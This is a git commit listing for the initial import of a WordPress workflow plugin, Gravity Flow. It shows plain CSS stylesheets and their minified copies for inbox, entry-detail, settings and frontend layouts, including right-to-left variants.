Initial commit

This commit is contained in:
Almira Krdzic
2018-08-06 15:41:19 +02:00
commit 60fe7f93e5
217 changed files with 84900 additions and 0 deletions

7630
class-gravity-flow.php Normal file

File diff suppressed because it is too large Load Diff

35
css/activity.css Normal file
View File

@@ -0,0 +1,35 @@
thead tr {background: #FFF}
tr:nth-child(even) {background: #f9f9f9}
tr:nth-child(odd) {background: #FFF}
#gravityflow-no-activity-container{
-webkit-transform-style: preserve-3d;
-moz-transform-style: preserve-3d;
transform-style: preserve-3d;
height:400px;
text-align:center;
}
#gravityflow-no-activity-content{
color: silver;
font-size: 2em;
position: relative;
top: 50%;
transform: translateY(-50%);
}
table#gravityflow-activity th[data-label="ID"],
table#gravityflow-activity td[data-label="ID"] {
width:70px!important;
}
table#gravityflow-activity{
margin-top:10px;
}

1
css/activity.min.css vendored Normal file
View File

@@ -0,0 +1 @@
thead tr,tr:nth-child(odd){background:#FFF}tr:nth-child(even){background:#f9f9f9}#gravityflow-no-activity-container{-webkit-transform-style:preserve-3d;-moz-transform-style:preserve-3d;transform-style:preserve-3d;height:400px;text-align:center}#gravityflow-no-activity-content{color:silver;font-size:2em;position:relative;top:50%;transform:translateY(-50%)}table#gravityflow-activity td[data-label=ID],table#gravityflow-activity th[data-label=ID]{width:70px!important}table#gravityflow-activity{margin-top:10px}

19
css/dashicons.css Normal file
View File

@@ -0,0 +1,19 @@
@font-face {
font-family: 'gravityflow';
src: url('../fonts/gravityflow.eot');
src: url('../fonts/gravityflow.eot?#iefix') format('embedded-opentype'),
url('../fonts/gravityflow.woff') format('woff'),
url('../fonts/gravityflow.ttf') format('truetype'),
url('../fonts/gravityflow.svg#gravityflow') format('svg');
font-weight: normal;
font-style: normal;
}
.dashicons-gravityflow:before {
display: inline-block;
font-family: 'gravityflow';
line-height: 1;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
content: 'a';
}

1
css/dashicons.min.css vendored Normal file
View File

@@ -0,0 +1 @@
@font-face{font-family:gravityflow;src:url(../fonts/gravityflow.eot);src:url(../fonts/gravityflow.eot?#iefix) format('embedded-opentype'),url(../fonts/gravityflow.woff) format('woff'),url(../fonts/gravityflow.ttf) format('truetype'),url(../fonts/gravityflow.svg#gravityflow) format('svg');font-weight:400;font-style:normal}.dashicons-gravityflow:before{display:inline-block;font-family:gravityflow;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;content:'a'}

37
css/discussion-field.css Normal file
View File

@@ -0,0 +1,37 @@
.gravityflow-discussion-item{
margin-bottom:10px;
}
.gravityflow-dicussion-item-name {
color:black;
font-weight:bold;
}
.gravityflow-dicussion-item-date {
color: #9b9b9b;
margin-left:8px;
font-size:90%;
}
.rtl .gravityflow-dicussion-item-date {
margin-right:8px;
margin-left: 0;
}
.gravityflow-dicussion-item-toggle-display {
float: right;
}
.rtl .gravityflow-dicussion-item-toggle-display {
float: left;
}
@media print {
.gravityflow-dicussion-item-hidden {
display:block !important;
}
.gravityflow-dicussion-item-toggle-display {
display: none;
}
}

1
css/discussion-field.min.css vendored Normal file
View File

@@ -0,0 +1 @@
.gravityflow-discussion-item{margin-bottom:10px}.gravityflow-dicussion-item-name{color:#000;font-weight:700}.gravityflow-dicussion-item-date{color:#9b9b9b;margin-left:8px;font-size:90%}.rtl .gravityflow-dicussion-item-date{margin-right:8px;margin-left:0}.gravityflow-dicussion-item-toggle-display{float:right}.rtl .gravityflow-dicussion-item-toggle-display{float:left}@media print{.gravityflow-dicussion-item-hidden{display:block!important}.gravityflow-dicussion-item-toggle-display{display:none}}

430
css/entry-detail.css Normal file
View File

@@ -0,0 +1,430 @@
.gravityflow-action-buttons{
text-align:right;
}
/* The little triangle indicator */
.gravityflow-editable-field.green-triangle:not(.gfield_error) label.gfield_label {
width:100%;
position: relative;
}
.gravityflow-editable-field.green-triangle:not(.gfield_error) label.gfield_label::before,
.gravityflow-editable-field.green-triangle:not(.gfield_error) label.gfield_label::after {
content: '';
position: absolute;
top: 0;
left: 0;
border-color: transparent;
border-style: solid;
}
.rtl .gravityflow-editable-field.green-triangle:not(.gfield_error) label.gfield_label::before,
.rtl .gravityflow-editable-field.green-triangle:not(.gfield_error) label.gfield_label::after {
left: auto;
right: 0;
}
.gravityflow-editable-field.green-triangle:not(.gfield_error) label.gfield_label::before {
border-width: 0.4em;
border-left-color: #ccc;
border-top-color: #ccc;
}
.rtl .gravityflow-editable-field.green-triangle:not(.gfield_error) label.gfield_label::before {
border-left-color: transparent;
border-right-color: #ccc;
}
.gravityflow-editable-field.green-triangle:not(.gfield_error) label.gfield_label::after {
border-radius: 0.1em;
border-width: 0.4em;
border-left-color: #0c0;
border-top-color: #0c0;
}
.rtl .gravityflow-editable-field.green-triangle:not(.gfield_error) label.gfield_label::after {
border-left-color: transparent;
border-right-color: #0c0;
}
.gravityflow-editable-field.green-background:not(.gfield_error) {
list-style-position:inside;
border: 1px solid green;
background: #eeffee;
padding:10px;
}
#minor-publishing{
padding:10px;
}
#gravityflow_save_progress_button {
margin-right:10px;
}
.rtl #gravityflow_save_progress_button {
margin-left:10px;
}
/* Notes */
.gravityflow-note-avatar{
float: left;
width: 84px;
text-align:center;
padding-right:10px;
}
.rtl .gravityflow-note-avatar{
float: right;
padding-left: 10px;
padding-right: 0;
}
.gravityflow-note-body-wrap{
border: 1px solid #E0E0E0;
margin-left: 100px;
padding: 10px;
display:block;
}
.rtl .gravityflow-note-body-wrap{
margin-right: 100px;
margin-left: 0;
}
.gravityflow-note-body{
line-height: 1.3em;
overflow: auto;
width: 100%;
word-wrap: break-word;
display:block;
}
.gravityflow-note-header:before,
.gravityflow-note-header:after {
content: "";
display: table;
line-height: 0;
}
.gravityflow-note-header:after{
clear: both;
}
.gravityflow-note-title{
float: left;
margin-bottom:0.5em;
font-size:1.2em;
color:#939FA5;
}
.rtl .gravityflow-note-title{
float: right;
}
.gravityflow-note-title a {
font-weight:bold;
text-decoration: none;
}
.gravityflow-note-body{
overflow-y: hidden;
display: block;
}
.gravityflow-note-meta{
color: #939FA5;
float: right;
font-size: 11px;
text-align: right;
display: block;
}
.rtl .gravityflow-note-meta{
float: left;
text-align: left;
}
.gravityflow-note-body-wrap{
background-color:#FFF;
}
.gravityflow-note-user{
background-color:#FFF8DC;
}
#gravityflow-add-note-container{
float:right;
}
.rtl #gravityflow-add-note-container{
float:left;
}
.gravityflow-note{
margin:20px 0 30px;
clear:both;
width:100%;
}
#gravityflow-note-content{
padding:10px;
float:left;
position: relative;
}
.rtl #gravityflow-note-content{
float:right;
}
.gravityflow-notes-checkbox{
width:20px;
display:table-cell;
vertical-align:top;
padding:15px 0 0 5px;
}
#gravityflow-note-new{
width: 100%;
display: table;
}
.gravityflow-note-body{
line-height: 1.3em;
overflow: auto;
width: 100%;
word-wrap: break-word;
display:block;
}
.gravityflow-note-header:before,
.gravityflow-note-header:after
{
content: "";
display: table;
line-height: 0;
}
.gravityflow-note-header:after{
clear: both;
}
.gravityflow-note-title{
float: left;
margin-bottom:0.5em;
font-size:1.2em;
color:#939FA5;
}
.rtl .gravityflow-note-title {
float: right;
}
.gravityflow-note-title a {
font-weight:bold;
text-decoration: none;
}
.gravityflow-note-body{
overflow-y: hidden;
display: block;
}
.gravityflow-note-meta{
color: #939FA5;
float: right;
font-size: 11px;
text-align: right;
display: block;
}
.rtl .gravityflow-note-meta{
float: left;
text-align: left;
}
#gravityflow-admin-action{
width:170px;
}
#gravityflow-note{
width:100%;
}
@media screen and (max-width: 850px) {
.has-right-sidebar #post-body {
clear: left;
float: right;
width: 100%;
margin-right: 0;
}
.rtl .has-right-sidebar #post-body {
clear: right;
float: left;
margin-left: 0;
}
.has-right-sidebar .inner-sidebar{
width:100%;
}
.has-right-sidebar #post-body-content {
margin-right: 0!important;
}
.rtl .has-right-sidebar #post-body-content {
margin-left: 0!important;
}
}
.gravityflow-note-avatar span > i {
width:65px;
height:65px;
display:inline-block;
font-size:4em;
margin:5px;
color:#0074a2;
}
table.entry-detail-view td.detail-view{
border-right: 1px;
border-left: 1px;
border-top: 0;
border-bottom: 0;
}
.gravityflow-field-value {
padding: 7px 7px 7px 40px;
line-height: 1.8;
}
.rtl .gravityflow-field-value {
padding: 7px 40px 7px 7px;
}
.gravityflow-field-value p {
text-align: left;
}
.rtl .gravityflow-field-value p {
text-align: right;
}
.gravityflow-field-value ul.bulleted {
margin-left: 12px;
}
.rtl .gravityflow-field-value ul.bulleted {
margin-right: 12px;
margin-left: 0;
}
.gravityflow-field-value ul.bulleted li {
list-style-type: disc;
}
.gfield.gravityflow-display-field label.gfield_label,
.gfield.gravityflow-editable-field:not(.green-background):not(.gfield_error) label.gfield_label{
background-color: #EAF2FA;
border-top: 1px solid #DFDFDF;
border-bottom: 1px solid #FFF;
line-height: 1.5;
padding: 7px;
width:100%;
margin:0;
}
.gravityflow-editable-field.gfield.green-background label.gfield_label{
border: 0;
margin: 0;
padding: 0;
}
.gravityflow-editable-field.gfield.green-background{
background-color: #eeffee;
padding: 7px;
}
td.gravityflow-order-summary{
border-top:1px solid #DDDDDD;
background-color: #EFEFEF;
font-weight: bold;
font-size: 16px;
}
.gravityflow-instructions div.inside ul,
.gravityflow-instructions div.inside ol {
margin: 1em 0 1em 2em;
}
.rtl .gravityflow-instructions div.inside ul,
.rtl .gravityflow-instructions div.inside ol {
margin: 1em 2em 1em 0;
}
.gravityflow-instructions div.inside ul li {
list-style-type: disc;
}
.gravityflow-instructions div.inside ol li {
list-style-type: decimal;
}
span.gf_admin_page_formid {
background-color: #d4662c;
border: medium none;
border-radius: 2px;
color: #fff;
display: inline-block;
font-size: 13px;
font-weight: 600;
line-height: 2;
margin: 0 2px 0 12px;
padding: 0 8px;
position: relative;
text-decoration: none;
text-shadow: none;
top: -3px;
white-space: nowrap;
}
.rtl span.gf_admin_page_formid {
margin: 0 12px 0 2px;
}
.gravityflow-box-title{
cursor:default;
border-bottom: 1px solid #eee;
}
/* Step Highlight */
table#gravityflow-inbox tbody tr{
border-left-width: 3px;
border-left-style: solid;
}
.rtl table#gravityflow-inbox tbody tr{
border-left-width: 0;
border-right-width: 3px;
border-right-style: solid;
}
@media print {
.gravityflow-dicussion-item-hidden {
display:block !important;
}
.gravityflow-dicussion-item-toggle-display {
display: none;
}
/* This is set in Gravity Forms print.css, we need to alter here for the print version */
.rtl table.entry-detail-view th, .rtl table.entry-detail-notes th {
text-align: right;
}
}

1
css/entry-detail.min.css vendored Normal file

File diff suppressed because one or more lines are too long

61
css/feed-list.css Normal file
View File

@@ -0,0 +1,61 @@
table { border-collapse: collapse; }
.ui-sortable-helper {
background-color: white!important;
-webkit-box-shadow: 6px 6px 28px -9px rgba(0,0,0,0.75);
-moz-box-shadow: 6px 6px 28px -9px rgba(0,0,0,0.75);
box-shadow: 6px 6px 28px -9px rgba(0,0,0,0.75);
transform: rotate(1deg);
-moz-transform: rotate(1deg);
-webkit-transform: rotate(1deg);
}
.rtl .ui-sortable-helper {
-webkit-box-shadow: -6px 6px 28px -9px rgba(0,0,0,0.75);
-moz-box-shadow: -6px 6px 28px -9px rgba(0,0,0,0.75);
box-shadow: -6px 6px 28px -9px rgba(0,0,0,0.75);
transform: rotate(-1deg);
-moz-transform: rotate(-1deg);
-webkit-transform: rotate(-1deg);
}
.step-drop-zone {
border: 1px dashed #bbb;
background-color: #FFF !important;
margin: 0 auto 10px;
height: 75px;
width: 100%;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
.widefat .sort-column {
vertical-align: top;
width: 2.2em;
}
.feed-sort-handle{
cursor: move;
padding: 10px;
}
.step-drop-zone td:first-child,
th.check-column,
td.check-column,
.tablenav.top,
.tablenav.bottom{
display: none;
}
td.column-step_highlight .step_highlight_color {
width: 0.25em;
height: 100%;
}
th.column-step_highlight, td.column-step_highlight {
display: none;
}
.row-actions .step_id { color: #555; }

1
css/feed-list.min.css vendored Normal file
View File

@@ -0,0 +1 @@
.step-drop-zone td:first-child,.tablenav.bottom,.tablenav.top,td.check-column,td.column-step_highlight,th.check-column,th.column-step_highlight{display:none}table{border-collapse:collapse}.ui-sortable-helper{background-color:#fff!important;-webkit-box-shadow:6px 6px 28px -9px rgba(0,0,0,.75);-moz-box-shadow:6px 6px 28px -9px rgba(0,0,0,.75);box-shadow:6px 6px 28px -9px rgba(0,0,0,.75);transform:rotate(1deg);-moz-transform:rotate(1deg);-webkit-transform:rotate(1deg)}.rtl .ui-sortable-helper{-webkit-box-shadow:-6px 6px 28px -9px rgba(0,0,0,.75);-moz-box-shadow:-6px 6px 28px -9px rgba(0,0,0,.75);box-shadow:-6px 6px 28px -9px rgba(0,0,0,.75);transform:rotate(-1deg);-moz-transform:rotate(-1deg);-webkit-transform:rotate(-1deg)}.step-drop-zone{border:1px dashed #bbb;background-color:#FFF!important;margin:0 auto 10px;height:75px;width:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.widefat .sort-column{vertical-align:top;width:2.2em}.feed-sort-handle{cursor:move;padding:10px}td.column-step_highlight .step_highlight_color{width:.25em;height:100%}.row-actions .step_id{color:#555}

258
css/form-settings.css Normal file
View File

@@ -0,0 +1,258 @@
.repeater-buttons{
display:inline-block;
}
.gform-routing-users,
.gform-routing-field{
width:100%;
min-width:150px;
}
.gform-routing-operator{
width:120px;
}
.gform-routing-value{
width:190px;
}
.mt-_gaddon_setting_workflow_notification_message,
.gravityflow-tab-field span[class^="mt-_gaddon_setting_"] {
float: right;
position: relative;
right: 15px;
top: 90px;
}
.rtl .mt-_gaddon_setting_workflow_notification_message,
.rtl .gravityflow-tab-field span[class^="mt-_gaddon_setting_"] {
float: left;
left: 15px;
}
#wp-_gaddon_setting_workflow_notification_message-wrap,
.gravityflow-tab-field div.wp-editor-wrap {
margin-right: 15px;
}
.rtl #wp-_gaddon_setting_workflow_notification_message-wrap,
.rtl .gravityflow-tab-field div.wp-editor-wrap {
margin-left: 15px;
margin-right: 0;
}
.gform-routing-row{
vertical-align: top;
}
#assignees,
#editable_fields{
position: absolute;
left: -9999px;
}
.rtl #assignees,
.rtl #editable_fields{
right: -9999px;
left: auto;
}
table.gforms_form_settings th{
border-left: 0;
padding-left: 0!important;
}
table.gforms_form_settings tr.gravityflow_sub_setting th{
border-left: 1px dashed #dfdfdf;
padding-left: 10px!important;
}
table.gforms_form_settings tr.gravityflow_sub_setting td{
padding-left: 10px;
}
.rtl table.gforms_form_settings th{
border-right: 0;
padding-right: 0!important;
}
.rtl table.gforms_form_settings tr.gravityflow_sub_setting th{
border-right: 1px dashed #dfdfdf;
padding-right: 10px!important;
padding-left: 0 !important;
}
.rtl table.gforms_form_settings tr.gravityflow_sub_setting td{
padding-right: 10px;
padding-left: 0;
}
table.gform-routings thead th{
padding: 0;
}
table.gform-routings tr.gform-routing-row td{
vertical-align: top;
}
table.gform-routings tr.gform-routing-row td .repeater-buttons{
white-space: nowrap;
}
.ui-tabs-nav{
background-color:#f6fbfd !important;
}
.gravityflow-tab-checked{
color:green;
}
.gravityflow-tab-field{
margin-bottom: 20px;
}
.gravityflow-tab-field-label{
margin-bottom: 4px;
font-weight:bold;
}
.gravityflow-user-routing{
border:1px solid #EEE;
padding: 10px;
}
.ms-container{
width:550px!important;
}
.gform-routing-input-field{
width:100%;
}
#gaddon-setting-row-step_type td label{
display:inline-block;
margin-bottom: 5px;
color:black;
height:85px;
}
.gravityflow-schedule-type-container{
margin:5px 0 5px 0;
}
tr#gaddon-setting-row-step_type input:checked + label > span{
-webkit-filter: none;
-moz-filter: none;
filter: none;
}
tr#gaddon-setting-row-step_type input:checked + label {
background-color:white;
border: 1px solid #CCCCCC;
}
tr#gaddon-setting-row-step_type label > span {
background-repeat:no-repeat;
display:inline-block;
-webkit-transition: all 100ms ease-in;
-moz-transition: all 100ms ease-in;
transition: all 100ms ease-in;
-webkit-filter: brightness(1.8) grayscale(1) opacity(.5);
-moz-filter: brightness(1.8) grayscale(1) opacity(.5);
filter: brightness(1.8) grayscale(1) opacity(.5);
}
.gravityflow-disabled label{
cursor:default!important;
}
tr#gaddon-setting-row-step_type input:not([disabled]):not([checked]) + label > span:hover{
-webkit-filter: brightness(1.2) grayscale(.5) opacity(.9);
-moz-filter: brightness(1.2) grayscale(.5) opacity(.9);
filter: brightness(1.2) grayscale(.5) opacity(.9);
}
tr#gaddon-setting-row-step_type input{
display:none;
}
tr#gaddon-setting-row-step_type label > span{
padding-top:5px;
width:130px;
height:65px;
}
tr#gaddon-setting-row-step_type label > span > img{
height:32px;
margin:5px;
vertical-align:middle;
}
tr#gaddon-setting-row-step_type label{
border:1px solid #EEEEEE;
background-color:#F9F9F9;
}
tr#gaddon-setting-row-step_type .gaddon-setting-radio{
text-align:center;
}
tr#gaddon-setting-row-step_type label > span > i {
height:32px;
display:inline-block;
font-size:2.5em;
margin:5px;
color:#0074a2;
}
.gravityflow-step-highlight-type-container,
.gravityflow-step-highlight-color-container,
.gravityflow-schedule-type-container,
.gravityflow-schedule-delay-container,
.gravityflow-schedule-date-container,
.gravityflow-expiration-type-container,
.gravityflow-expiration-delay-container,
.gravityflow-expiration-date-container{
margin: 10px 0 10px 0;
}
.gravityflow-step-highlight-type-container {
display: none;
}
.gravityflow_display_fields_selected_container{
margin-top:5px;
}
.gravityflow-step-highlight-color-container .wp-picker-container {
margin-top: 5px;
}
.settings-field-map-table .custom-value-reset {
background: url( ../images/xit.gif ) no-repeat scroll 0 0 transparent;
cursor:pointer;
display:none;
position:absolute;
text-indent:-9999px;
width:10px;
height: 10px;
-moz-transition: none;
-webkit-transition: none;
-o-transition: color 0 ease-in;
transition: none;
}
.rtl .settings-field-map-table .custom-value-reset {
background: url( ../images/xit.gif ) no-repeat scroll 100% 0 transparent;
text-indent:9999px;
}
.settings-field-map-table .custom-value-reset {
margin-top: 10px;
margin-left: 165px;
}
.rtl .settings-field-map-table .custom-value-reset {
margin-right: 165px;
margin-left: 0;
}
.settings-field-map-table .custom-value-container:hover .custom-value-reset { display:block; }
.gravityflow-sub-setting{
margin-bottom: 10px;
}

1
css/form-settings.min.css vendored Normal file
View File

@@ -0,0 +1 @@
.gform-routing-row,table.gform-routings tr.gform-routing-row td{vertical-align:top}.repeater-buttons{display:inline-block}.gform-routing-field,.gform-routing-users{width:100%;min-width:150px}.gform-routing-operator{width:120px}.gform-routing-value{width:190px}.gravityflow-tab-field span[class^=mt-_gaddon_setting_],.mt-_gaddon_setting_workflow_notification_message{float:right;position:relative;right:15px;top:90px}.rtl .gravityflow-tab-field span[class^=mt-_gaddon_setting_],.rtl .mt-_gaddon_setting_workflow_notification_message{float:left;left:15px}#wp-_gaddon_setting_workflow_notification_message-wrap,.gravityflow-tab-field div.wp-editor-wrap{margin-right:15px}.rtl #wp-_gaddon_setting_workflow_notification_message-wrap,.rtl .gravityflow-tab-field div.wp-editor-wrap{margin-left:15px;margin-right:0}#assignees,#editable_fields{position:absolute;left:-9999px}.rtl #assignees,.rtl #editable_fields{right:-9999px;left:auto}table.gforms_form_settings th{border-left:0;padding-left:0!important}table.gforms_form_settings tr.gravityflow_sub_setting th{border-left:1px dashed #dfdfdf;padding-left:10px!important}table.gforms_form_settings tr.gravityflow_sub_setting td{padding-left:10px}.rtl table.gforms_form_settings th{border-right:0;padding-right:0!important}.rtl table.gforms_form_settings tr.gravityflow_sub_setting th{border-right:1px dashed #dfdfdf;padding-right:10px!important;padding-left:0!important}.rtl table.gforms_form_settings tr.gravityflow_sub_setting td{padding-right:10px;padding-left:0}table.gform-routings thead th{padding:0}table.gform-routings tr.gform-routing-row td .repeater-buttons{white-space:nowrap}.ui-tabs-nav{background-color:#f6fbfd!important}.gravityflow-tab-checked{color:green}.gravityflow-tab-field{margin-bottom:20px}.gravityflow-tab-field-label{margin-bottom:4px;font-weight:700}.gravityflow-user-routing{border:1px solid #EEE;padding:10px}.ms-container{width:550px!important}.gform-routing-input-field{width:100%}#gaddon-setting-row-step_type td label{display:inline-block;margin-bottom:5px;color:#000;height:85px}tr#gaddon-setting-row-step_type input:checked+label>span{-webkit-filter:none;-moz-filter:none;filter:none}tr#gaddon-setting-row-step_type input:checked+label{background-color:#fff;border:1px solid #CCC}tr#gaddon-setting-row-step_type label>span{background-repeat:no-repeat;display:inline-block;-webkit-transition:all .1s ease-in;-moz-transition:all .1s ease-in;transition:all .1s ease-in;-webkit-filter:brightness(1.8) grayscale(1) opacity(.5);-moz-filter:brightness(1.8) grayscale(1) opacity(.5);filter:brightness(1.8) grayscale(1) opacity(.5);padding-top:5px;width:130px;height:65px}.gravityflow-disabled label{cursor:default!important}tr#gaddon-setting-row-step_type input:not([disabled]):not([checked])+label>span:hover{-webkit-filter:brightness(1.2) grayscale(.5) opacity(.9);-moz-filter:brightness(1.2) grayscale(.5) opacity(.9);filter:brightness(1.2) grayscale(.5) opacity(.9)}tr#gaddon-setting-row-step_type input{display:none}tr#gaddon-setting-row-step_type label>span>img{height:32px;margin:5px;vertical-align:middle}tr#gaddon-setting-row-step_type label{border:1px solid #EEE;background-color:#F9F9F9}tr#gaddon-setting-row-step_type .gaddon-setting-radio{text-align:center}tr#gaddon-setting-row-step_type label>span>i{height:32px;display:inline-block;font-size:2.5em;margin:5px;color:#0074a2}.gravityflow-expiration-date-container,.gravityflow-expiration-delay-container,.gravityflow-expiration-type-container,.gravityflow-schedule-date-container,.gravityflow-schedule-delay-container,.gravityflow-schedule-type-container,.gravityflow-step-highlight-color-container,.gravityflow-step-highlight-type-container{margin:10px 0}.gravityflow-step-highlight-type-container{display:none}.gravityflow-step-highlight-color-container .wp-picker-container,.gravityflow_display_fields_selected_container{margin-top:5px}.settings-field-map-table .custom-value-reset{background:url(../images/xit.gif) no-repeat;cursor:pointer;display:none;position:absolute;text-indent:-9999px;width:10px;height:10px;-moz-transition:none;-webkit-transition:none;-o-transition:color 0 ease-in;transition:none;margin-top:10px;margin-left:165px}.rtl .settings-field-map-table .custom-value-reset{background:url(../images/xit.gif) 100% 0 no-repeat;text-indent:9999px;margin-right:165px;margin-left:0}.settings-field-map-table .custom-value-container:hover .custom-value-reset{display:block}.gravityflow-sub-setting{margin-bottom:10px}

868
css/frontend.css Normal file
View File

@@ -0,0 +1,868 @@
/* ENTRY DETAIL */
html[dir="rtl"] body.rtl * {
direction: rtl !important;
}
table.entry-detail-view {
width:100%;
border:0;
table-layout: fixed;
}
table.entry-detail-view th,
table.entry-detail-view td{
border-right:0;
}
.rtl table.entry-detail-view th,
.rtl table.entry-detail-view td{
border-left:0;
}
.gravityflow-no-sidebar .gravityflow-action-buttons{
text-align:left;
}
.rtl .gravityflow-no-sidebar .gravityflow-action-buttons{
text-align:right;
}
.postbox {
background: #fff none repeat scroll 0 0;
min-width: 200px;
position: relative;
line-height: 1;
margin-bottom: 20px;
padding: 0;
}
.rtl .postbox {
background: #fff none repeat scroll 100% 0;
}
#postbox-container-1 {
font-size:11px;
}
.gravityflow-has-sidebar .postbox,
.gravityflow-has-workflow-info .postbox,
.gravityflow-has-step-info .postbox{
border: 1px solid #e5e5e5;
box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}
.postbox.gravityflow-instructions {
padding:10px;
font-size:inherit;
}
.gfield {
margin-bottom:10px;
}
#post-body.columns-2 #post-body-content {
float: left;
width: 100%;
}
.rtl #post-body.columns-2 #post-body-content {
float: right;
}
#poststuff #post-body.columns-2 {
margin-right: 280px;
}
.rtl #poststuff #post-body.columns-2 {
margin-left: 280px;
margin-right: 0;
}
#poststuff .postbox-container {
width: 100%;
}
#post-body-content, .edit-form-section {
margin-bottom: 20px;
}
#post-body.columns-2 #postbox-container-1 {
float: right;
margin-right: -310px;
width: 260px;
}
.rtl #post-body.columns-2 #postbox-container-1 {
float: left;
margin-left: -310px;
margin-right: 0;
}
#post-body.columns-2 #postbox-container-2 {
float: left;
}
.rtl #post-body.columns-2 #postbox-container-2 {
float: right;
}
#postbox-container-2 .postbox {
border: 0;
}
.gravityflow_workflow_wrap{
font-size:14px;
}
.gravityflow_workflow_wrap .postbox h3,
.gravityflow_workflow_wrap h3{
font-size:1.2em;
margin:10px;
}
.gravityflow_workflow_wrap h4{
margin:0;
}
.gravityflow_workflow_wrap h4{
font-size:1em;
}
.gravityflow_workflow_wrap button,
.gravityflow_workflow_wrap input,
.gravityflow_workflow_wrap select {
padding:4px;
width: auto;
}
.gravityflow_workflow_wrap hr {
margin:10px;
}
.gravityflow_workflow_wrap .postbox-container .button{
background: #f7f7f7 none repeat scroll 0 0;
border-color: #cccccc;
box-shadow: 0 1px 0 #fff inset, 0 1px 0 rgba(0, 0, 0, 0.08);
color: #555 !important;
vertical-align: top;
border-radius: 3px;
border-style: solid;
border-width: 1px;
box-sizing: border-box;
cursor: pointer;
display: inline-block;
font-size: 11px;
height: 28px;
line-height: 26px;
margin: 0;
padding: 0 10px 1px;
text-decoration: none;
white-space: nowrap;
}
.rtl .gravityflow_workflow_wrap .postbox-container .button {
background: #f7f7f7 none repeat scroll 100% 0;
}
.postbox input[type=radio]{
margin-right:5px;
white-space: nowrap;
}
.rtl .postbox input[type=radio]{
margin-left:5px;
margin-right: 0;
}
#gravityflow-note{
margin-top:5px;
margin-bottom:5px;
clear:both;
}
@media screen and (max-width: 880px) {
#post-body-content{
min-width:0;
}
#post-body.columns-2 #postbox-container-1 {
margin-right: 0;
width: 100%;
}
.rtl #post-body.columns-2 #postbox-container-1 {
margin-left: 0;
}
#poststuff #post-body.columns-2 {
margin-right: 0;
}
.rtl #poststuff #post-body.columns-2 {
margin-left: 0;
}
}
.detail-view-print{
margin-bottom: 20px;
}
/* INBOX */
table#gravityflow-inbox thead tr {background: #FFF}
table#gravityflow-inbox tr:nth-child(even) {background: #f9f9f9}
table#gravityflow-inbox tr:nth-child(odd) {background: #FFF}
table#gravityflow-inbox {
border-collapse:collapse;
width:100%;
}
table#gravityflow-inbox th{
display:table-cell;
padding: 10px;
border-right:0;
}
.rtl table#gravityflow-inbox th{
border-left:0;
}
table#gravityflow-inbox td {
padding: 0;
border-right:0;
}
.rtl table#gravityflow-inbox td {
border-left:0;
}
table#gravityflow-inbox td a {
text-decoration:none!important;
display:block;
padding:10px;
height:100%;
border-bottom:none;
box-shadow: none;
}
.gravityflow-actions-locked{
-webkit-transition: all 0.5s ease;
-moz-transition: all 0.5s ease;
-o-transition: all 0.5s ease;
transition: all 0.5s ease;
-webkit-filter: brightness(1.8) grayscale(1) opacity(.5);
-moz-filter: brightness(1.8) grayscale(1) opacity(.5);
filter: brightness(1.8) grayscale(1) opacity(.5);
}
.gravityflow-action,
.gravityflow-actions-unlock{
cursor: pointer;
margin-right: 5px;
}
.rtl .gravityflow-action,
.rtl .gravityflow-actions-unlock{
margin-left: 5px;
margin-right: 0;
}
.gravityflow-actions-lock{
margin-right: 5px;
}
.rtl .gravityflow-actions-lock{
margin-left: 5px;
margin-right: 0;
}
.gravityflow-actions{
text-align: center;
white-space: nowrap;
padding: 10px;
}
.gravityflow-actions-unlock,
.gravityflow-actions-spinner{
display: none;
}
.gravityflow-action-processed{
cursor: default;
}
.gravityflow-actions-note-field-container{
position:absolute;
z-index: 99;
text-align: left;
background-color: white;
border:1px solid silver;
padding: 5px;
}
.rtl .gravityflow-actions-note-field-container{
text-align: right;
}
.gravityflow-actions-note-field-container textarea {
width:200px;
}
#gravityflow-no-pending-tasks-container{
-webkit-transform-style: preserve-3d;
-moz-transform-style: preserve-3d;
transform-style: preserve-3d;
height:400px;
text-align:center;
}
#gravityflow-no-pending-tasks-content{
color: silver;
font-size: 2em;
position: relative;
top: 50%;
transform: translateY(-50%);
}
.gravityflow-inbox-check{
font-size: 5em;
}
table.entry-products col.entry-products-col3,
table.entry-products col.entry-products-col4{
width:20%
}
.wp-core-ui .notice.is-dismissible {
padding-right: 38px;
position: relative;
}
.rtl .wp-core-ui .notice.is-dismissible {
padding-left: 38px;
padding-right: 0;
}
.gravityflow_workflow_wrap div.updated,
.gravityflow_workflow_wrap div.error {
display: block;
background: #fff;
border-left: 4px solid #7ad03a;
-webkit-box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
margin: 5px 15px 2px;
padding: 1px 12px;
}
.rtl .gravityflow_workflow_wrap div.updated,
.rtl .gravityflow_workflow_wrap div.error {
border-right: 4px solid #7ad03a;
}
.gravityflow_workflow_wrap div.error {
border-left-color: #dc3232;
}
.rtl .gravityflow_workflow_wrap div.error {
border-right-color: #dc3232;
}
.gravityflow_workflow_wrap div.updated p,
.gravityflow_workflow_wrap div.error p {
margin: 0.5em 0;
padding: 2px;
}
.wrap .notice, .wrap div.updated, .wrap div.error, .media-upload-form .notice, .media-upload-form div.error {
margin: 5px 0 15px;
}
.wrap .notice, .wrap div.updated, .wrap div.error, .media-upload-form .notice, .media-upload-form div.error {
margin: 5px 0 15px;
}
.notice-success, div.updated {
border-color: #7ad03a;
}
#gravityflow-admin-action{
width:140px;
}
@media screen and (max-width: 700px) {
table#gravityflow-inbox {
border: 0;
width:100%;
}
table#gravityflow-inbox thead {
display: none;
}
table#gravityflow-inbox tr {
margin-bottom: 10px;
display: block;
border-bottom: 2px solid #ddd;
}
table#gravityflow-inbox td {
display: block!important;
text-align: right;
font-size: 13px;
border-bottom: 1px dotted #ccc;
border-left: 1px dotted #ccc;
}
.rtl table#gravityflow-inbox td {
text-align: left;
border-right: 1px dotted #ccc;
}
table#gravityflow-inbox td:last-child {
border-bottom: 0;
}
table#gravityflow-inbox td:before {
content: attr(data-label);
float: left;
text-transform: uppercase;
font-weight: bold;
padding:5px;
}
.rtl table#gravityflow-inbox td:before {
float: right;
}
#post-body {
margin-right: 0;
padding-right: 0;
}
